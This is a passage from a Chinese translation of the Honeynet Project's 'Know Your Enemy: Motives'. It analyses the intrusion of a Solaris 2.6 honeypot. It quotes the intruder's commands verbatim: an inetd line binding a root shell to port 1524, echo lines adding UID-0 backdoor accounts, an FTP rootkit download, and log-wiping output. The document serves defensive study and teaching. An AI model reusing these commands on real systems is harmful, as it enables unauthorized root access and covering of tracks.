Know Your Enemy: Motives
黑客社团的动机和心理
Honeynet Project
http://project.honeynet.org
http://www.xfocus.org
Last Modified: 27 June, 2000
该篇文章是<Know Your Enemy>系列之一,该系列主要介绍黑客社团使用的工具和策略。该文章不像该系列其他的文章主要介绍黑客社团怎样怎样、特别是他们使用的技术和工具的实现,而是分析他们的动机和心理。第一部分介绍一台Solaris 2.6系统被入侵,第二部分所提到的很少有相关信息发布,介绍在黑客入侵系统后14天内在“蜜罐”中的通话和行动记录,通过这些信息我们可以了解他们为什么和怎样攻击计算机系统。在入侵后,他们紧接着在系统中放置了一个IRC bot,这个东西是由黑客们所配置和实现的,用来抓取在IRC频道中的所有聊天记录。我们在这两个星期当中一直监视这些记录,所有的信息都罗列在下面。这篇文章并不是要对整个黑客社团的行为作一个概括,相反,我们通过在事件当中一些个体行为的介绍,来给大家一些提示”他们当中某些人怎样想和怎样做“,这也是我们在安全领域所面对的一些普通现象,我们真诚的希望其他安全人员能够从中受益。
下面的所有信息是通过"honeynet"得到的。"honeynet",顾名思义,就是由网络上大量的"蜜罐"所组成,"蜜罐"最简单的定义就是通过精心设计的将被黑客社团所攻击的目标主机。一些"蜜罐"是用来分散攻击者攻击真正主机的注意力,另外一些是用来学习攻击者所使用的工具和策略的,我们这里所提到是属于后者。在本文中提到的很多信息被做了一些修改,特别是用户名和口令、信用卡号、以及很多主机名,其他如确切技术细节、工具以及聊天记录我们并没有作修改。所有信息在被发布之前都已经递交给CERT和FBI,同时对于哪些我们确信遭受入侵的系统,大约发了370份通告给它们的管理员。
Foreword, by Brad Powell
第一部分:入侵
我们这里使用的"蜜罐"是缺省安装的Solaris 2.6系统,没有任何修改和安装补丁程序。在此讨论的漏洞在任何缺省安装没有使用补丁程序的Solaris 2.6系统上都存在。这也是整个"蜜罐"的设计意图,在系统上布置漏洞并学习它是如何被攻破的。在被攻击过程中,我们可以学习黑客社团所使用的工具和策略。同时"蜜罐"本身也被设计跟踪黑客的每一步行为。
在2000年6月4日,我们的缺省安装Solaris 2.6的"蜜罐"遭受到针对rpc.ttdbserv漏洞的攻击,该漏洞允许在ToolTalk 对象数据库服务上通过溢出远程执行代码(见CVE-1999-0003)。该漏洞在SANS组织的TOP 10上名列第三。我们使用基于sniffer的免费IDS系统Snort检测到该攻击的。
Jun 4 11:37:58 lisa snort[5894]: IDS241/rpc.ttdbserv-solaris-kill: 192.168.78.12:877 -> 172.16.1.107:32775
rpc.ttdbserv漏洞允许远程用户通过缓冲溢出攻击在目标系统上以root权限执行任意命令。下面是攻击者在攻击成功后,在系统上安装后门,具体如下所示:攻击者在'/tmp/bob'文件中加上ingreslock服务(在/etc/service预定义的,端口1524),然后以改文件作为配置文件重新启动inetd,这样/bin/sh被以root权限帮定在1524端口,给予了远程用户root存取权限。
/bin/ksh -c echo 'ingreslock stream tcp nowait root /bin/sh sh -i' >>/tmp/bob ; /usr/sbin/inetd -s /tmp/bob.
当黑客安装了后门,他紧接着连接到1524端口,作为root获得一个shell,并开始执行如下命令。他增加了两个系统用户帐号,以便以后可以telnet上来,注意这里的错误和";"控制字符(因为1524端口的shell没有正确的环境)。
# cp /etc/passwd /etc/.tp;
^Mcp /etc/shadow /etc/.ts;
echo "r:x:0:0:User:/:/sbin/sh" >> /etc/passwd;
echo "re:x:500:1000:daemon:/:/sbin/sh" >> /etc/passwd;
echo "r::10891::::::" >> /etc/shadow;
echo "re::6445::::::" >> /etc/shadow;
: not found
# ^M: not found
# ^M: not found
# ^M: not found
# ^M: not found
# ^M: not found
# who;
rsides console May 24 21:09
^M: not found
# exit;
此时,攻击者在我们系统上拥有了两个帐号,他可以以're'用户telnet上来,并可以通过su成UID为0的'r'用户来获得系统root权限。我们将回顾一下攻击者当时以及后来的击键记录。
!"' !"P#$#$'LINUX'
SunOS 5.6
login: re
Choose a new password.
New password: abcdef
Re-enter new password: abcdef
telnet (SYSTEM): passwd successfully changed for re
Sun Microsystems Inc. SunOS 5.6 Generic August 1997
$ su r
现在黑客拥有了root权限,一般来首,下一步要做的就是安装一些rootkit并控制系统。首先我们看到黑客在系统上产生一个隐藏目录来隐藏他的工具包。
# mkdir /dev/".. "
# cd /dev/".. "
在产生隐藏目录后,黑客开始从其他机器上存取rootkit。
# ftp shell.example.net
Connected to shell.example.net.
220 shell.example.net FTP server (Version 6.00) ready.
Name (shell.example.net:re): j4n3
331 Password required for j4n3.
Password:abcdef
230 User j4n3 logged in.
ftp> get sun2.tar
200 PORT command successful.
150 Opening ASCII mode data connection for 'sun2.tar' (1720320 bytes).
226 Transfer complete.
local: sun2.tar remote: sun2.tar
1727580 bytes received in 2.4e+02 seconds (6.90 Kbytes/s)
ftp> get l0gin
200 PORT command successful.
150 Opening ASCII mode data connection for 'l0gin' (47165 bytes).
226 Transfer complete.
226 Transfer complete.
local: l0gin remote: l0gin
47378 bytes received in 7.7 seconds (6.04 Kbytes/s)
ftp> quit
U221 Goodbye.
一旦rootkit被成功下载,该工具包被解开并被安装。注意整个安装过程只执行了一个简单的脚本 setup.sh,这个脚本调用另外一个脚本 secure.sh。你也可以下载在这里使用整个Solaris rootkit。
# tar -xvf sun2.tar
x sun2, 0 bytes, 0 tape blocks
x sun2/me, 859600 bytes, 1679 tape blocks
x sun2/ls, 41708 bytes, 82 tape blocks
x sun2/netstat, 6784 bytes, 14 tape blocks
x sun2/tcpd, 19248 bytes, 38 tape blocks
x sun2/setup.sh, 1962 bytes, 4 tape blocks
x sun2/ps, 35708 bytes, 70 tape blocks
x sun2/packet, 0 bytes, 0 tape blocks
x sun2/packet/sunst, 9760 bytes, 20 tape blocks
x sun2/packet/bc, 9782 bytes, 20 tape blocks
x sun2/packet/sm, 32664 bytes, 64 tape blocks
x sun2/packet/newbc.txt, 762 bytes, 2 tape blocks
x sun2/packet/syn, 10488 bytes, 21 tape blocks
x sun2/packet/s1, 12708 bytes, 25 tape blocks
x sun2/packet/sls, 19996 bytes, 40 tape blocks
x sun2/packet/smaq, 10208 bytes, 20 tape blocks
x sun2/packet/udp.s, 10720 bytes, 21 tape blocks
x sun2/packet/bfile, 2875 bytes, 6 tape blocks
x sun2/packet/bfile2, 3036 bytes, 6 tape blocks
x sun2/packet/bfile3, 20118 bytes, 40 tape blocks
x sun2/packet/sunsmurf, 11520 bytes, 23 tape blocks
x sun2/sys222, 34572 bytes, 68 tape blocks
x sun2/m, 9288 bytes, 19 tape blocks
x sun2/l0gin, 47165 bytes, 93 tape blocks
x sun2/sec, 1139 bytes, 3 tape blocks
x sun2/pico, 222608 bytes, 435 tape blocks
x sun2/sl4, 28008 bytes, 55 tape blocks
x sun2/fix, 10360 bytes, 21 tape blocks
x sun2/bot2, 508 bytes, 1 tape blocks
x sun2/sys222.conf, 42 bytes, 1 tape blocks
x sun2/le, 21184 bytes, 42 tape blocks
x sun2/find, 6792 bytes, 14 tape blocks
x sun2/bd2, 9608 bytes, 19 tape blocks
x sun2/snif, 16412 bytes, 33 tape blocks
x sun2/secure.sh, 1555 bytes, 4 tape blocks
x sun2/log, 47165 bytes, 93 tape blocks
x sun2/check, 46444 bytes, 91 tape blocks
x sun2/zap3, 13496 bytes, 27 tape blocks
x sun2/idrun, 188 bytes, 1 tape blocks
x sun2/idsol, 15180 bytes, 30 tape blocks
x sun2/sniff-10mb, 16488 bytes, 33 tape blocks
x sun2/sniff-100mb, 16496 bytes, 33 tape blocks
# rm sun2.tar
# mv l0gin sun2
#cd sun2
#./setup.sh
hax0r w1th K1dd13
Ok This thing is complete :-)
这里rootkit安装脚本第一次清理和攻击者行为相关的日志文件信息。
- WTMP:
/var/adm/wtmp is Sun Jun 4 11:47:39 2000
/usr/adm/wtmp is Sun Jun 4 11:47:39 2000
/etc/wtmp is Sun Jun 4 11:47:39 2000
/var/log/wtmp cannot open
WTMP = /var/adm/wtmp
Removing user re at pos: 1440
Done!
- UTMP:
/var/adm/utmp is Sun Jun 4 11:47:39 2000
/usr/adm/utmp is Sun Jun 4 11:47:39 2000
/etc/utmp is Sun Jun 4 11:47:39 2000
/var/log/utmp cannot open
/var/run/utmp cannot open
UTMP = /var/adm/utmp
Removing user re at pos: 288
Done!
- LASTLOG:
/var/adm/lastlog is Sun Jun 4 11:47:39 2000
/usr/adm/lastlog is Sun Jun 4 11:47:39 2000
/etc/lastlog cannot open
/var/log/lastlog cannot open
LASTLOG = /var/adm/lastlog
User re has no wtmp record. Zeroing lastlog..
- WTMPX:
/var/adm/wtmpx is Sun Jun 4 11:47:39 2000
/usr/adm/wtmpx is Sun Jun 4 11:47:39 2000
/etc/wtmpx is Sun Jun 4 11:47:39 2000
/var/log/wtmpx cannot open
WTMPX = /var/adm/wtmpx
Done!
- UTMPX:
/var/adm/utmpx is Sun Jun 4 11:47:39 2000
/usr/adm/utmpx is Sun Jun 4 11:47:39 2000
/etc/utmpx is Sun Jun 4 11:47:39 2000
/var/log/utmpx cannot open
/var/run/utmpx cannot open
UTMPX = /var/adm/utmpx
Done!
./setup.sh: ./zap: not found
在清理完日志系统后,下一步是加固我们的系统(他们多好啊)。因为他们可以轻松的入侵,别人也可以,他们并不想让别人滥用他们的成果。
./secure.sh: rpc.ttdb=: not found
#: securing.
#: 1) changing modes on local files.
#: will add more local security later.
#: 2) remote crap like rpc.status , nlockmgr etc..
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
#: 3) killed statd , rpcbind , nlockmgr
#: 4) removing them so they ever start again!
5) secured.
207 ? 0:00 inetd
11467 ? 0:00 inetd
cp: cannot access /dev/.. /sun/bot2
kill these processes@!#!@#!
cp: cannot access lpq
./setup.sh: /dev/ttyt/idrun: cannot execute
下一步,一个IRC proxy开始运行,在这里比较迷惑的是随后脚本杀死了该进程,我也不太明白了。
Irc Proxy v2.6.4 GNU project (C) 1998-99
Coded by James Seter :bugs-> (Pharos@refract.com) or IRC pharos on efnet
--Using conf file ./sys222.conf
--Configuration:
Daemon port......:9879
Maxusers.........:0
Default conn port:6667
Pid File.........:./pid.sys222
Vhost Default....:-SYSTEM DEFAULT-
Process Id.......:11599
Exit ./sys222{7} :Successfully went into the background.
随后做了更多的修改,包括拷贝后门程序,包括/bin/login、/bin/ls、/usr/sbin[1] [url=http://www.chinamx.com.cn/Article/os/Linux/200605/20060530130003_28750_2.html][2] 下一页